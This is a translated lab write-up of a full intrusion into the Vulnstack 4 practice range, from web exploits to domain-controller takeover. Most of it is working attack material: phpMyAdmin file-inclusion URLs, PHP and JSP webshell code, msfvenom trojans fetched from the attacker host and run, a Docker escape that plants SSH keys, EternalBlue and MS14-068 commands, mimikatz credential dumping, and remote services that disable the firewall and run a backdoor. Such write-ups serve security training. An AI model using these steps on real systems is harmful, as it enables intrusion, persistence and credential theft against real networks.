a Vulnstack shooting range intranet penetration (2)

Shooting Range details:

This shooting range includes multiple combination vulnerabilities such as penetration deserialization vulnerability, command execution vulnerability, Tomcat vulnerability, MS series vulnerability, port forwarding vulnerability, and domain penetration。

Range learning path, refer to
st exploit

phpmyadmin getshell

tomcat exploit

docker escape

ms14-068

SSH key utilization

Traffic forwarding

Historical command information leakage

Domain penetration

Environmental description
Machine password

ubuntu: ubuntu domain member machine

douser:Dotest123DC:

administrator:Test2008

File size: 18 GB
File MD5: 512DCEB15F9F185D6A5C77F79E89EFBH
File SHA1: FB06EEBA7E75558220FDD1DF3127A003D5779C0H

download link:https://pan.baidu.com/s/1G2dgz8PmysAzk0CMf-_m8w

password: ivyk

 

In the previous section ” a Basic Vulnstack Penetration Experience“, we simply did a test on the vulnstack 1 shooting range environment. Through preliminary exploration of the external network, information collection, and penetration of the internal network, we finally won the domain control, the whole process It is relatively smooth, after all, the shooting range environment is relatively basic. Today, six intranet penetration ranges of the vulnstack series have been released. In this section, we will conduct penetration tests on the vulnstack 4 range.

Throughout the penetration process, I tried to try different methods and made the whole process detailed and straightforward.

The range penetration deserialization vulnerability, command execution vulnerability, Tomcat vulnerability, MS series vulnerability, port forwarding vulnerability, and domain penetration and other combined vulnerabilities.

For the learning path of shooting range, please refer to:

st exploit
phpmyadmin getshell
tomcat exploit
docker escape
ms14-068
SSH key utilization
Traffic forwarding
Historical command information leakage
Domain penetration

Range environment:

The web server has two network cards, one network card is connected to the external network to provide web services externally, and the other network card is connected to the internal network. And the web server runs apache (port 2001), Tomcat (port 2002), and phpmyadmin (port 2003). Domain member hosts and DCs are located in the internal network and cannot communicate with the external network.

aims:

There is an important document in the domain control-“Network Attack Authorization Report”.

Environment configuration
After downloading the shooting range,

Unzip it, import the shooting range into the virtual machine through the .ovf format file, and then configure the network environment of the three virtual hosts.

Web server (Ubuntu):

Dual network cards, one network card is connected to the external network to provide external web services, and the other network card is connected to the internal network.

Simulated external network IP: 192.168.0.105

Intranet IP: 192.168.183.128

I connected the network adapter 2 to the VMnet14 network card here, and I need to set the VMnet14 network card to host-only mode later.

Domain member host Windows 7:

Windows 7 has only one network card, connect it to the VMnet14 network card

DC (Windows server 2008):

DC has only one network card, and connect it to the VMnet14 network card

Then edit the virtual network settings:

Add a VMnet14 network and set it to host-only mode, as shown in the following figure:

In this way, we have built an internal network for these three virtual hosts. DC and domain members wish you Windows 7 on the internal network, and the external network cannot access them. The web server serves as the hub connecting the internal network and the external network.

Our web server is Ubuntu, and its environment is started by docker. According to the description of the shooting range, the environments we need to start are:

s2-045

CVE-2017-12615 (tomcat put upload)

cve-2018-12613 (phpmyadmin file contains vulnerabilities)

Enter the relevant directory and use the docker-compose up -d command to open, as shown below:

View the running docker container:

It can be seen that the environment is successfully opened.

Preliminary Study on the Extranet
At this time, the attacker does not know the entire network environment of the target or what services are running on the Web server.

We know that the public IP of the web server is 192.168.0.105 (simulation), so our attacker can perform port scan on his web server first, as follows:

nmap -T4 -sC -sV 192.168.0.105

It can be seen that ssh, Tomcat, phpmyadmin, etc. are turned on, and its port number is clear at a glance due to the version shown above. Let’s first test the vulnerability of PhpMyAdmin 4.8.1 (CVE-2018-12613). This vulnerability is already familiar to everyone. It is a file containing vulnerability of phpMyAdmin version 4.8.1. The filtering can be bypassed by the second URL encoding. .

PhpMyAdmin 4.8.1 file contains vulnerabilities
We access phpmyadmin on the web server:

Test the CVE-2018-12613 vulnerability:

http://http://192.168.0.105:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

The successful use of the above figure shows that the vulnerability does exist. Next, we can getshell by opening the mysql global log and changing the path of the written log, but this method has received permission restrictions when SET GLOBAL general_log=’on’ opens the global log, so we can consider including the session file to getshell .

Execute select'<?php phpinfo();?>’ at the SQL execution place, and F12 to view the value of phpmyadmin in the cookie of the current page.

Obtaining the phpmyadmin value in the network cookie at this time is 20b3a71f70b1cb0cd5a34fb7d7b4cf37, then the generated session file name is sess_20b3a71f70b1cb0cd5a34fb7d7b4cf37. Construct a URL path containing the Session value, including the session file:

?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_20b3a71f70b1cb0cd5a34fb7d7b4cf37

The inclusion is successful and the phpinfo page is displayed. Next, we need to use the file inclusion vulnerability to getshell. Execute the following statement in the sql execution place to write the anti-virus webshell in the session file:

SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['whoami']));?>"

Press F12 to view the phpmyadmin value in the cookie:

Connect with software

connection succeeded:

However, although we got the shell of the target server, the shell at this time is only the shell in the docker of the target machine. If we want to control the docker host, we need docker to escape.

Tomcat arbitrary file upload vulnerability (CVE-2017-12615)
Above we demonstrated that the PhpMyAdmin 4.8.1 file contains a vulnerability to get the target’s shell. Next, we demonstrate the use of Tomcat’s arbitrary file upload vulnerability (CVE-2017-12615) to gain control of the target. (This penetration is also based on this vulnerability)

We can find in the beginning of the nmap port scan that Tomcat is running on the 2002 port of the target web server, and the version is 8.5.19. We know that Tomcat’s vulnerabilities are well-known as CVE-2017-12615. CVE-2017-12615 is an arbitrary file upload vulnerability in Tomcat middleware, but the scope of this vulnerability is Apache Tomcat 7.0.0-7.0.79, our target machine’s It seems that the Tomcat version is no longer in the scope of influence. Actually, Tomcat 5-9 has a similar CVE-2017-12615 utilization method, which can also be used by analogy, but this is not attributable to the CVE-2017-12615 vulnerability.

Tomcat to access the target web server:

capture

Make changes in the red box above, change the GET method to PUT, and upload the webshell file shell.jsp, which contains the following:

<%@ page import="java.util.*,java.io.*,java.net.*"%>
 <%
 %>
 <HTML><BODY>
 <FORM METHOD="POST" NAME="myform" ACTION="">
 <INPUT TYPE="text" NAME="cmd">
 <INPUT TYPE="submit" VALUE="Send">
 </FORM>
 <pre>
 <%
 if (request.getParameter("cmd") != null) {
         out.println("Command: " + request.getParameter("cmd") + "\n<BR>");
         Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
         OutputStream os = p.getOutputStream();
         InputStream in = p.getInputStream();
         DataInputStream dis = new DataInputStream(in);
         String disr = dis.readLine();
         while ( disr != null ) {
                 out.println(disr); disr = dis.readLine(); }
         }
 %>
 </pre>
 </BODY></HTML>

(Note: The file name in the small top red box must be in the format of /shell.jsp/, and the last / must be carried)

Upload is successful, and then visit the url of the file:

Get an input box and open the input box to execute commands, which is equivalent to uploading a backdoor.

We can also use curl to upload, which is executed by the attacker:

# -F "file=@{FILE_NAME}" Specify upload file 
 curl -v -X PUT -F "file=@shell.jsp" 192.168.0.105:2002/shell.jsp/

Of course, we can use searchsploit directly on the attacker to find the exploit script of Tomcat version 8.5.19.

 searchsploit tomcat 8.5.19   // Find the exploit script for tomcat 8.5.19.

Found the utilization script 42966.py, execute the following command to copy the utilization script to the current working directory (-m parameter):

 searchsploit -m /exploit/jsp/webapps/42966.py

Use this script:

python 42966.py

You can see the help page, as shown above.

Then, check whether the target machine has vulnerabilities:

 python 42966.py -u http://192.168.0.105:2002/

It is known that the target has a vulnerability and successfully uploaded a test file Poc.jsp:

Conduct a formal attack

python 42966.py -u http://192.168.0.105:2002/ -p pwn

As shown in the above figure, the principle of successfully reaching the target shell is to upload a pwn.jsp on the target machine. But this shell is not stable, so let’s honestly use the first method to upload the backdoor. After the following tests, we found that the shell we obtained runs in a docker container:

Then we need docker escape to get the shell of the target host (docker host). First of all, for the convenience of uploading files later, we first bounce a meterpreter over.

Generate msf Trojan:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=4444 -f elf > shell.elf

Then use python to start a simple HTTP service in the current directory (the default port is 8000):

 python -m SimpleHTTPServer

Then use the previously uploaded shell.jsp to execute the wget command to download the shell.elf on the attacker and execute it:

 wget http://192.168.0.108:8000/shell.elf
 chmod 777 shell.elf
 ./shell.elf

As shown in the figure above, msf successfully obtained the session.

Escape with CVE-2019-5736
The runc version used in Docker versions prior to 18.09.2 is less than 1.0-rc6, which allows an attacker to rewrite the runc binary file on the host, and the attacker can execute commands as root on the host.

Platform or product Affected version Docker Version <18.09.2 runC Version <= 1.0-rc6

A malicious container must meet one of the following two conditions:

Created by a malicious image controlled by an attacker

The attacker has write permission for an existing container and can enter through docker exec.

First download and compile the main.go script to generate the attack payload: https://github.com/Frichetten/CVE-2019-5736-PoC

Open the main.go script and modify the commands to be executed on the target machine in the script to the commands of the reverse shell. IP is the IP of the attacking machine, and the port is the port that the attacking machine listens to:

Compile and generate payload

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

Use the msf session to upload the compiled main file to the /home directory of the docker container, and grant rights:

Then start the nc monitoring on the attacker kali:

nc -lvp 4444

Then run the main file on the target docker,

At this point, just wait for the target machine administrator to restart the docker container, the payload will be triggered, as shown below, we manually simulate the docker restart

Show that the payload is executed successfully:

However, the attacker did not receive the shell at this time. It is very likely that the target docker is not within the scope of the vulnerability, and we can only use another method to escape.

Use –privileged privileged mode to escape
Privileged mode was introduced in Docker in version 0.6, allowing the root in the container to have root permissions on the external physical machine. Previously, the root user in the container only had the general user permissions on the external physical machine.

Use privileged mode to start the container, you can gain access to a large number of device files. Because when the administrator executes docker run –privileged, the Docker container will be allowed to access all devices on the host, and can execute the mount command to mount it.

When controlling a container started in privileged mode, the docker administrator can mount the external host disk device into the container through the mount command to obtain file read and write permissions for the entire host, and can also write scheduled tasks and other methods Execute commands on the host.

We see that there is a “ssh key utilization” in the description of the range. It is guessed that the privileged mode of docker is used to write the ssh private key in the host hard disk to realize the SSH password-free login to the host, thereby achieving control of the target host .

First of all, we now create a new /hack directory in docker to hang files:

Then ls /dev sees the /dev directory and will find many device files,

We can try to mount /dev/sda1 to the /hack directory:

mount /dev/sda1 /hack

Check whether the mount is successful:

As shown in the figure above, the mount is successful. At this time, we can access the entire host by accessing the /hack path inside the container.

Mount a host’s local directory in the docker container, so that files output in some containers can be opened and accessed in the local directory.

Then, generate the ssh key locally on the attacker:

ssh-keygen -f hack
 ​
 chmod 600 hack    // Don't forget to assign 600 permissions to the secret key file, otherwise it cannot be executed

You can generate a secret key file in the current directory

The next thing to do is to write the generated secret key to the target machine. As mentioned earlier, if sda1 is successfully mounted, we can access the entire host by accessing the /hack path inside the container. For example, when we access the /hack/home directory, we can access the /home directory of the host:

See the home directory of an Ubuntu user, go in and take a look, ls -alh /hack/home/ubuntu (view including hidden files):

We saw a .ssh directory, we just want to write the ssh key into the .ssh directory and name the file authorized_keys (the permissions of the target machine’s .ssh directory must be 700).

Execute the following commands in turn to write the secret key:

cp -avx /hack/home/ubuntu/.ssh/id_rsa.pub /hack/home/ubuntu/.ssh/authorized_keys    # -avx is to copy the permissions together
 
echo 'The content of the generated .pub file' > /hack/home/ubuntu/.ssh/authorized_keys    # Write the ssh key to the authorized_keys file

Check whether the secret key is successfully written:

 cat /hack/home/ubuntu/.ssh/authorized_keys

The writing was successful.

At this point, the attacker can use his private key to log in to the target host without pasword:

ssh -i hack ubuntu@192.168.0.105

Successfully get the shell of the target machine (docker host) Web server.

Check the network configuration: ifconfig

It can be seen that in addition to a public IP (192.168.0.105), the target Web server also has an internal IP (192.168.183.129). Then we use wget to download the msf horse we generated before on the target and execute it, and bounce a meterpreter over,

The attacker opens the python simple web service: python -m SimpleHTTPServer.

Target machine execution:

wget http://192.168.0.108:8000/shell.elf
 chmod 777 shell.elf
 ./shell.elf

The attacker msf gets the session:

The next thing we need to do is to set up the proxy to connect to the internal network, scan internal network hosts, add routes to continue penetration, and so on.

 

Break into the intranet
We upload earthworm on the target web server and enable the socks5 forward proxy:

 ./ew_for_linux64 -s ssocksd -l 1080

Configure proxychains for the attacker:

vim /etc/proxychains.conf

At this point, the application on our attacking machine can enter the target intranet through proxychains. Detect the survival of the host in the target intranet:

proxychains4 nmap -sT -Pn 192.168.183.1/24 > nmap.txt

After scanning, it can be known that there are two hosts 192.168.183.130 and 192.168.183.131 in the target intranet.

Since it is an attack on the internal network, of course we must try ms17_010. Let’s add a route to the internal network on msf:

run autoroute -s 192.168.183.0/24
run autoroute -p

The addition is successful, start scanning the host with ms17_010 Eternal Blue vulnerability in the target intranet:

It is found that there are vulnerabilities in both hosts, first attack the Windows 7 (192.168.183.131):

setg Proxies socks5:192.168.0.105:1080       // Set proxy, ms17_010 is difficult to get through without proxy
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.183.131
set lport 4444
set AutoRunScript post/windows/manage/migrate             // Automatic migration process
run

Pay attention to setg Proxies socks5:192.168.0.105:1080 to set the proxy. It is difficult to get through without setting the proxy ms17_010. I don’t know why, but I just learned it.

If the attack is successful, execute the command immediately after getting the shell, otherwise the session may exit unexpectedly. This is a problem with the proxy tool. EW seems to be automatically disconnected if it does not operate over time. Here we prevent exiting outside of the session. One way is to upload a bind_tcp forward backdoor on the target Windows 7, so that even if the connection is broken, we don’t need to call it again like ms17_010, but just execute run. is ok:

run persistence -X -i 5 -p 4000 -P windows/meterpreter/bind_tcp

The most direct way is to change the proxy tool. Here we change EW to chisel, which is said to be very stable and powerful. Project address: https://github.com/jpillora/chisel.

Upload chisel_for_linux64 on the target web server, and then execute:

./chisel_for_linux64 server -p 2333 --socks5

Attacker execution:

./chisel_for_linux64 client 192.168.0.105:2333 socks

As shown in the figure above, a socks5 monitor is successfully opened on port 1080 on the attacker, and then just setg Proxies socks5:127.0.0.1:1080 on msf to point the proxy to 127.0.0.1:1080.

As shown above, ms17_010 succeeded again, and the session will never die again.

In order to facilitate the following information collection, we need to lower the current authority to ordinary domain users, because if they are not domain users, they have no authority to execute domain commands.

getuid    #View current token
use incognito #Load incognito
list_tokens -u #List AccessToken
impersonate_token "DEMO\douser" #Simulate the DEMO\douser user
rev2self   #Return to the previous AccessToken permissions

The next thing to do is to collect information. For detailed intranet information collection, please see my other article “Intranet Penetration Testing: Information Collection, Upload and Download”. Here we only collect a few useful information.

 ipconfig /all   Check the local IP and domain
 route print     Print routing information
 net view        View other host names in the LAN
 arp -a          View arp cache
 whoami
 net start       Check which services are enabled
 net share       See which sharing is turned on
 net share ipc$  Open ipc sharing
 net share c$    Open c drive sharing
 net use \\192.168.xx.xx\ipc$ "" /user:""   Establish an empty connection with 192.168.xx.xx
 net use \\192.168.xx.xx\c$ "Password" /user:"Username" Create c drive sharing
 dir \\192.168.xx.xx\c$\user    View the files in the user directory of 192.168.xx.xx disk c
 
 net config Workstation   View computer name, full name, user name, system version, workstation, domain, login domain
 net user                 View the list of local users
 net user /domain         View domain users
 net localgroup administrators   View the local administrator group (usually there will be domain users)
 net view /domain         See how many domains
 net user Username /domain Get the information of the specified domain user
 net group /domain        Check the workgroups in the domain, check how many groups the users are divided into (only operate on the domain controller)
 net group Group name /domain    View a workgroup in the domain
 net group "domain admins" /domain  View the name of the domain administrator
 net group "domain computers" /domain  View other hostnames in the domain
 net group "doamin controllers" /domain  View domain controllers (there may be more than one)

After collecting, we learned that the target Windows 7 is in the DEMO.com domain, the domain controller is WIN-ENS2VR5TR3N$, and the domain administrator is Administrator. Let’s ping the main domain and check the IP of the domain controller:

ping WIN-ENS2VR5TR3N.DEMO.com

It can be seen that the domain controller IP is 192.168.183.130.

Upload mimikatz on the target machine and grab the password of Windows 7:

shell
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords

Note here that the system permission I obtained with ms17_010 reported an error when running mimikatz:

After a lot of tossing, finally imitating a system token on the target machine was successful: (unbelievable)

The clear text password of the douser user is Dotest123. Next, we can continue to move the attack domain controller laterally.

 

Break into domain control
First, let’s see if we can use Eternal Blue to capture the domain control

Failed. Now that we have the password of the domain user douser, why don’t we try PTT (ms14-068)? The following demonstrates the use of ms14-068:

Upload ms14-068.exe on the target Windows 7, and then execute the following to generate a TGT ticket:

ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
// ms14-068.exe -u Domain member name@domain.com -s domain member sid -d domain controller ip address -p domain member password

The ticket file “TGT_douser@DEMO.com.ccache” is successfully generated as shown in the figure above. Then use mimikatz to inject the ticket:

mimikatz # kerberos::purge         //Clear all certificates in the current machine. If there are domain member certificates, it will affect the forgery of certificates
mimikatz # kerberos::list          //View current machine credentials
mimikatz # kerberos::ptc <Generated bill file> //Inject the bill into memory

Use mimikatz to inject the ticket into the current memory, forge the credential, if it succeeds, you will have domain management authority, and you can access all machines in the domain at will

As shown in the figure above, the ticket injection is successful.

Check whether the injection is successful klist:

Try to log in to the domain controller with net use:

net use \\WIN-ENS2VR5TR3N

As shown in the figure above, you have successfully logged into the domain controller and listed the C drive directory of the domain controller. At this time, if we want to control the domain control, we have to upload a positive msf Trojan on Windows 7.

msfvenom -p windows/meterpreter/bind_tcp lhost=192.168.0.108 lport=4444 -f exe -o bind.exe

Upload the produced msf to Windows 7, and then use smb file sharing to copy the msf Trojan to the C drive of the domain controller:

copy c:\windows\system32\bind.exe \\WIN-ENS2VR5TR3N\c$

Copy successfully:

Set up scheduled tasks on the domain controller remotely:

schtasks /create /tn "test" /tr C:\windows\system32\bind.exe /sc MINUTE /S 192.168.183.130

Show Access is denied:

We use sc service for remote execution.

Set up the service to turn off the firewall:

sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"

sc \\WIN-ENS2VR5TR3N start unablefirewall

Create a service to execute msf Trojan (msf is listening):

sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\bind.exe"
sc \\WIN-ENS2VR5TR3N start bindshell

After execution, msf successfully went to the domain control:

Upload mimikatz to capture plaintext password:

The domain administrator password is Liu78963.

 

Looking for sensitive documents
After taking the domain control, we will look for the important files in the domain control mentioned at the beginning.

We turn on the remote desktop of the domain control:

run post/windows/manage/enable_rdp

log in:

proxychains4 rdesktop 192.168.183.130

login successful. Upload Everything tool:

installation,Turn on Everything, turn on the HTTP service, and set the port to 2333:

The startup is successful, and then the attacker’s browser sets the proxy: 127.0.0.1:1080 (didn’t the chisel proxy be turned on before)

This is to access 192.168.183.130:2333 in the url to traverse any file on the domain controller:

Search target sensitive files,Finally, we obtained confidential documents on the domain controller. . .

 

Ending
You can learn a lot from the entire shooting range, mainly as follows:

PhpMyAdmin 4.8.1 file contains vulnerabilities
Tomcat arbitrary file upload vulnerability (CVE-2017-12615)
docker escape
Use of the new agent tool chisel (very powerful and stable)
……

Reviews

There are no reviews yet.

Be the first to review “a Vulnstack shooting range intranet penetration (2)”

Your email address will not be published. Required fields are marked *